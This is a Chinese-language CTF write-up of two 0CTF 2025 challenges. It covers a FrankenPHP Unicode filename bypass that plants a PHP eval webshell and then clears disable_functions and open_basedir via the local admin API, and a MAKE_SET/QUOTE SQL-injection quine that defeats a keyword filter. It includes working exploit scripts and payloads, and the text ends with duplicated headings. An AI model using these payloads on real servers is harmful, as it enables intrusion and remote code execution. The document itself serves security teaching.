CTF题目解析：ezupload与ezqueen漏洞利用教学文档<\/h1>

1. 概述<\/h2>
本文档基于2025 0CTF竞赛中的两道题目（ezupload和ezqueen）的Write-up，详细分析漏洞原理和利用方法。两道题目分别涉及文件上传绕过和SQL注入Quine技巧。<\/p>

2. ezupload题目分析<\/h2>

2.1 题目代码<\/h3>
<?<\/span>php<\/span>
<\/span><\/span>$action =<\/span> $_GET['action'<\/span>] ??<\/span> ''<\/span>;
<\/span><\/span>
<\/span><\/span>if<\/span> ($action ===<\/span> 'create'<\/span>) {
<\/span><\/span>    $filename =<\/span> basename<\/span>($_GET['filename'<\/span>] ??<\/span> 'phpinfo.php'<\/span>);
<\/span><\/span>    file_put_contents<\/span>(realpath<\/span>('.'<\/span>) .<\/span> DIRECTORY_SEPARATOR<\/span> .<\/span> $filename, '<?php phpinfo(); ?>'<\/span>);
<\/span><\/span>    echo<\/span> "File created."<\/span>;
<\/span><\/span>} elseif<\/span> ($action ===<\/span> 'upload'<\/span>) {
<\/span><\/span>    if<\/span> (isset<\/span>($_FILES['file'<\/span>]) &&<\/span> $_FILES['file'<\/span>]['error'<\/span>] ===<\/span> UPLOAD_ERR_OK<\/span>) {
<\/span><\/span>        $uploadFile =<\/span> realpath<\/span>('.'<\/span>) .<\/span> DIRECTORY_SEPARATOR<\/span> .<\/span> basename<\/span>($_FILES['file'<\/span>]['name'<\/span>]);
<\/span><\/span>        $extension =<\/span> pathinfo<\/span>($uploadFile, PATHINFO_EXTENSION<\/span>);
<\/span><\/span>        if<\/span> ($extension ===<\/span> 'txt'<\/span>) {
<\/span><\/span>            if<\/span> (move_uploaded_file<\/span>($_FILES['file'<\/span>]['tmp_name'<\/span>], $uploadFile)) {
<\/span><\/span>                echo<\/span> "File uploaded successfully."<\/span>;
<\/span><\/span>            }
<\/span><\/span>        }
<\/span><\/span>    }
<\/span><\/span>} else<\/span> {
<\/span><\/span>    highlight_file<\/span>(__FILE__<\/span>);
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>2.2 漏洞环境<\/h3>

PHP版本：8.4<\/li>
框架：FrankenPHP<\/li>
安全限制：

open_basedir<\/code>: \/app\/public:\/tmp<\/li>
disable_function<\/code>: 禁用了大量系统函数<\/li>
disable_classes<\/code>: PDO, Pdo\Sqlite, SQLite3<\/li>
<\/ul>
<\/li>
<\/ul>
2.3 漏洞原理<\/h3>
2.3.1 文件名处理漏洞<\/h4>
题目限制只能上传.txt后缀文件，但FrankenPHP框架在处理文件名时存在漏洞：<\/p>

小写转换差异<\/strong>：框架先将文件名转换为小写进行后缀检查，但使用原始文件名进行存储<\/li>
Unicode字符字节差异<\/strong>：某些Unicode字符（如Ⱥ<\/code>）小写转换后字节长度发生变化（Ⱥ<\/code>→ⱥ<\/code>，2字节→3字节）<\/li>
边界检查绕过<\/strong>：利用字符转换前后的长度差异，使后缀检查与实际存储不一致<\/li>
<\/ol>
2.3.2 利用Payload<\/h4>
import<\/span> requests
<\/span><\/span>import<\/span> urllib
<\/span><\/span>
<\/span><\/span>url =<\/span> "http:\/\/目标地址"<\/span>
<\/span><\/span>unicode_char =<\/span> "Ⱥ"<\/span>  # 2字节字符<\/span>
<\/span><\/span>filename =<\/span> (unicode_char *<\/span> 4<\/span>) +<\/span> "abc.php.txt"<\/span>
<\/span><\/span>content =<\/span> "<?php eval($_REQUEST[1]);?>"<\/span>
<\/span><\/span>
<\/span><\/span>files =<\/span> {"file"<\/span>: (filename, content, 'text\/plain'<\/span>)}
<\/span><\/span>data =<\/span> {"action"<\/span>: "upload"<\/span>}
<\/span><\/span>res =<\/span> requests.<\/span>post(url, files=<\/span>files, params=<\/span>data)
<\/span><\/span><\/code><\/pre>2.4 绕过open_basedir<\/h3>
上传Webshell后，通过PHP配置修改绕过目录限制：<\/p>
$ini =<\/span> [
<\/span><\/span>    "disable_functions"<\/span> =><\/span> ""<\/span>,
<\/span><\/span>    "open_basedir"<\/span> =><\/span> "\/"<\/span>,
<\/span><\/span>];
<\/span><\/span>$ctx =<\/span> stream_context_create<\/span>([
<\/span><\/span>    "http"<\/span> =><\/span> [
<\/span><\/span>        "method"<\/span> =><\/span> "PUT"<\/span>,
<\/span><\/span>        "header"<\/span> =><\/span> "Content-Type: application\/json"<\/span>,
<\/span><\/span>        "content"<\/span> =><\/span> json_encode<\/span>($ini),
<\/span><\/span>        "ignore_errors"<\/span> =><\/span> true<\/span>,
<\/span><\/span>        'timeout'<\/span> =><\/span> 1<\/span>,
<\/span><\/span>    ],
<\/span><\/span>]);
<\/span><\/span>file_get_contents<\/span>("http:\/\/127.0.0.1:2019\/config\/apps\/frankenphp\/php_ini"<\/span>, false<\/span>, $ctx);
<\/span><\/span><\/code><\/pre>3. ezqueen题目分析<\/h2>
3.1 题目代码<\/h3>
<?<\/span>php<\/span>
<\/span><\/span>$host =<\/span> getenv<\/span>('DB_HOST'<\/span>) ?:<\/span> 'mysql'<\/span>;
<\/span><\/span>$db =<\/span> getenv<\/span>('DB_NAME'<\/span>) ?:<\/span> 'app'<\/span>;
<\/span><\/span>$user =<\/span> getenv<\/span>('DB_USER'<\/span>) ?:<\/span> 'appuser'<\/span>;
<\/span><\/span>$pass =<\/span> getenv<\/span>('DB_PASS'<\/span>) ?:<\/span> 'apppass'<\/span>;
<\/span><\/span>$con =<\/span> @<\/span>mysqli_connect<\/span>($host, $user, $pass, $db);
<\/span><\/span>if<\/span> (!<\/span>$con) die<\/span>("DB connect error"<\/span>);
<\/span><\/span>
<\/span><\/span>function<\/span> checkSql<\/span>($s) {
<\/span><\/span>    if<\/span>(preg_match<\/span>("\/sleep|benchmark|lock|recursive|regexp|rlike|file|eval|update|schema|sys|substr|mid|left|right|replace|concat|insert|export_set|pad|@\/i"<\/span>,$s)){
<\/span><\/span>        die<\/span>("hacker!"<\/span>);
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>$pwd =<\/span> $_POST['pwd'<\/span>] ??<\/span> ''<\/span>;
<\/span><\/span>
<\/span><\/span>if<\/span> ($pwd !==<\/span> ''<\/span>) {
<\/span><\/span>    if<\/span> (strlen<\/span>($pwd) ><\/span> 200<\/span>) die<\/span>("too long!"<\/span>);
<\/span><\/span>    checkSql<\/span>($pwd);
<\/span><\/span>    $sql =<\/span> "SELECT pwd FROM users WHERE username='admin' and pwd='<\/span>$pwd<\/span>';"<\/span>;
<\/span><\/span>    try<\/span> {
<\/span><\/span>        $user_result =<\/span> mysqli_query<\/span>($con, $sql);
<\/span><\/span>        $row =<\/span> mysqli_fetch_array<\/span>($user_result);
<\/span><\/span>        if<\/span> (!<\/span>$row) die<\/span>("wrong password"<\/span>);
<\/span><\/span>        if<\/span> ($row['pwd'<\/span>] ===<\/span> $pwd) {
<\/span><\/span>            die<\/span>(getenv<\/span>('FLAG'<\/span>));
<\/span><\/span>        }
<\/span><\/span>        die<\/span>("wrong password"<\/span>);
<\/span><\/span>    } catch<\/span> (Throwable<\/span> $e) {
<\/span><\/span>        die<\/span>("wrong password"<\/span>);
<\/span><\/span>    }
<\/span><\/span>} else<\/span> {
<\/span><\/span>    highlight_file<\/span>(__FILE__<\/span>);
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>3.2 漏洞限制分析<\/h3>
3.2.1 SQL注入限制<\/h4>

关键字过滤<\/strong>：禁用sleep、benchmark、regexp、replace、concat、insert、@等关键函数和操作符<\/li>
长度限制<\/strong>：输入长度不超过200字符<\/li>
Quine限制<\/strong>：查询结果必须等于输入值（$row['pwd'] === $pwd<\/code>）<\/li>
<\/ul>
3.2.2 过滤关键字分类<\/h4>



关键字类别<\/th>
具体关键字<\/th>
防护目的<\/th>
<\/tr>
<\/thead>


时间盲注<\/td>
sleep, benchmark<\/td>
防止时间盲注<\/td>
<\/tr>

字符串操作<\/td>
substr, mid, left, right, replace, concat<\/td>
防止字符串截取和拼接<\/td>
<\/tr>

数据操作<\/td>
update, insert, export_set, pad<\/td>
防止数据修改<\/td>
<\/tr>

系统函数<\/td>
file, eval, schema, sys<\/td>
防止系统操作<\/td>
<\/tr>

特殊字符<\/td>
@<\/td>
防止变量赋值<\/td>
<\/tr>
<\/tbody>
<\/table>
3.3 Quine技术原理<\/h3>
3.3.1 传统MySQL Quine方法<\/h4>
SELECT<\/span> REPLACE<\/span>(REPLACE<\/span>('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine'<\/span>,CHAR(34<\/span>),CHAR(39<\/span>)),CHAR(36<\/span>),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine'<\/span>) AS<\/span> Quine;
<\/span><\/span><\/code><\/pre>3.3.2 变量赋值简化版<\/h4>
SELECT<\/span> REPLACE<\/span>(REPLACE<\/span>(@<\/span>a:=<\/span>'SELECT REPLACE(REPLACE(@a:="$",CHAR(34),CHAR(39)),CHAR(36),@a) AS Quine'<\/span>,CHAR(34<\/span>),CHAR(39<\/span>)),CHAR(36<\/span>),@<\/span>a) AS<\/span> Quine;
<\/span><\/span><\/code><\/pre>3.4 绕过技术详解<\/h3>
3.4.1 关键函数替代方案<\/h4>


MAKE_SET函数<\/strong>：替代字符串拼接<\/p>
MAKE_SET(bits, str1, str2, ...) -- 根据bits位选择字符串
<\/span><\/span><\/span><\/code><\/pre><\/li>

QUOTE函数<\/strong>：自动添加引号和转义<\/p>
QUOTE('hello'<\/span>) -- 输出'hello'
<\/span><\/span><\/span><\/code><\/pre><\/li>

派生表替代变量赋值<\/strong>：<\/p>
SELECT<\/span> s FROM<\/span> (SELECT<\/span> 'test string'<\/span> AS<\/span> s) AS<\/span> t;
<\/span><\/span>-- 或MySQL 8.0+
<\/span><\/span><\/span><\/span>SELECT<\/span> s FROM<\/span> (SELECT<\/span> 0<\/span>, 'test string'<\/span>, 0<\/span>) t(x, s, y);
<\/span><\/span><\/code><\/pre><\/li>
<\/ol>
3.4.2 Payload构造步骤<\/h4>
步骤1：SQL语句闭合<\/strong><\/p>
'\/*,*\/ union select make_set(...)
<\/span><\/span><\/span><\/code><\/pre>步骤2：MAKE_SET参数构造<\/strong>

使用四个参数构造自引用查询：<\/p>



参数<\/th>
十六进制值<\/th>
作用<\/th>
<\/tr>
<\/thead>


A<\/td>
0x272f2a<\/td>
payload开头部分（'\/*）<\/td>
<\/tr>

B<\/td>
s<\/td>
中间部分字符串<\/td>
<\/tr>

C<\/td>
QUOTE(s)<\/td>
引号包裹的中间部分<\/td>
<\/tr>

D<\/td>
0x30297428782c732c792923<\/td>
结尾部分（0)t(x,s,y)#）<\/td>
<\/tr>
<\/tbody>
<\/table>
步骤3：完整Payload<\/strong><\/p>
'\/*,*\/ union select make_set(15,0x272f2a,s,quote(s),0x30297428782c732c792923)from(select 0,'<\/span>*\/<\/span> union<\/span> select<\/span> make_set(15<\/span>,0<\/span>x272f2a,s,quote(s),0<\/span>x30297428782c732c792923)from<\/span>(select<\/span> 0<\/span>',0)t(x,s,y)#
<\/span><\/span><\/span><\/code><\/pre>3.4.3 Payload执行过程<\/h4>

MAKE_SET(15,...)<\/strong>：15的二进制为1111，选择所有四个参数<\/li>
参数拼接<\/strong>：

A: '\/*<\/code><\/li>
B: *\/ union select make_set(15,0x272f2a,s,quote(s),0x30297428782c732c792923)from(select 0<\/code><\/li>
C: '*\/ union select make_set(15,0x272f2a,s,quote(s),0x30297428782c732c792923)from(select 0'<\/code>（QUOTE自动添加引号）<\/li>
D: 0)t(x,s,y)#<\/code><\/li>
<\/ul>
<\/li>
最终结果<\/strong>：拼接后与原Payload完全一致，满足Quine条件<\/li>
<\/ol>
4. 总结与防护建议<\/h2>
4.1 ezupload防护措施<\/h3>

文件名处理应保持一致性（统一大小写转换）<\/li>
严格验证文件扩展名，避免Unicode字符混淆<\/li>
实施多层次文件类型验证<\/li>
<\/ol>
4.2 ezqueen防护措施<\/h3>

使用参数化查询替代字符串拼接<\/li>
实施最小权限原则，限制数据库用户权限<\/li>
对输入实施白名单验证而非黑名单过滤<\/li>
考虑使用Web应用防火墙（WAF）增强防护<\/li>
<\/ol>
4.3 通用安全实践<\/h3>

定期进行安全代码审计<\/li>
保持框架和依赖库更新<\/li>
实施深度防御策略<\/li>
建立安全开发生命周期（SDLC）<\/li>
<\/ol>
本教学文档详细分析了两道CTF题目的漏洞原理和利用技术，为安全研究和防护措施制定提供了完整参考。<\/p>
CTF题目解析：ezupload与ezqueen漏洞利用教学文档<\/h1>

1. 概述<\/h2> 本文档基于2025 0CTF竞赛中的两道题目（ezupload和ezqueen）的Write-up，详细分析漏洞原理和利用方法。两道题目分别涉及文件上传绕过和SQL注入Quine技巧。<\/p>

2. ezupload题目分析<\/h2>

2.3 漏洞原理<\/h3>

3. ezqueen题目分析<\/h2>

3.2 漏洞限制分析<\/h3>

3.3 Quine技术原理<\/h3>

3.4 绕过技术详解<\/h3>

4. 总结与防护建议<\/h2>

1. 概述<\/h2>
本文档基于2025 0CTF竞赛中的两道题目（ezupload和ezqueen）的Write-up，详细分析漏洞原理和利用方法。两道题目分别涉及文件上传绕过和SQL注入Quine技巧。<\/p>
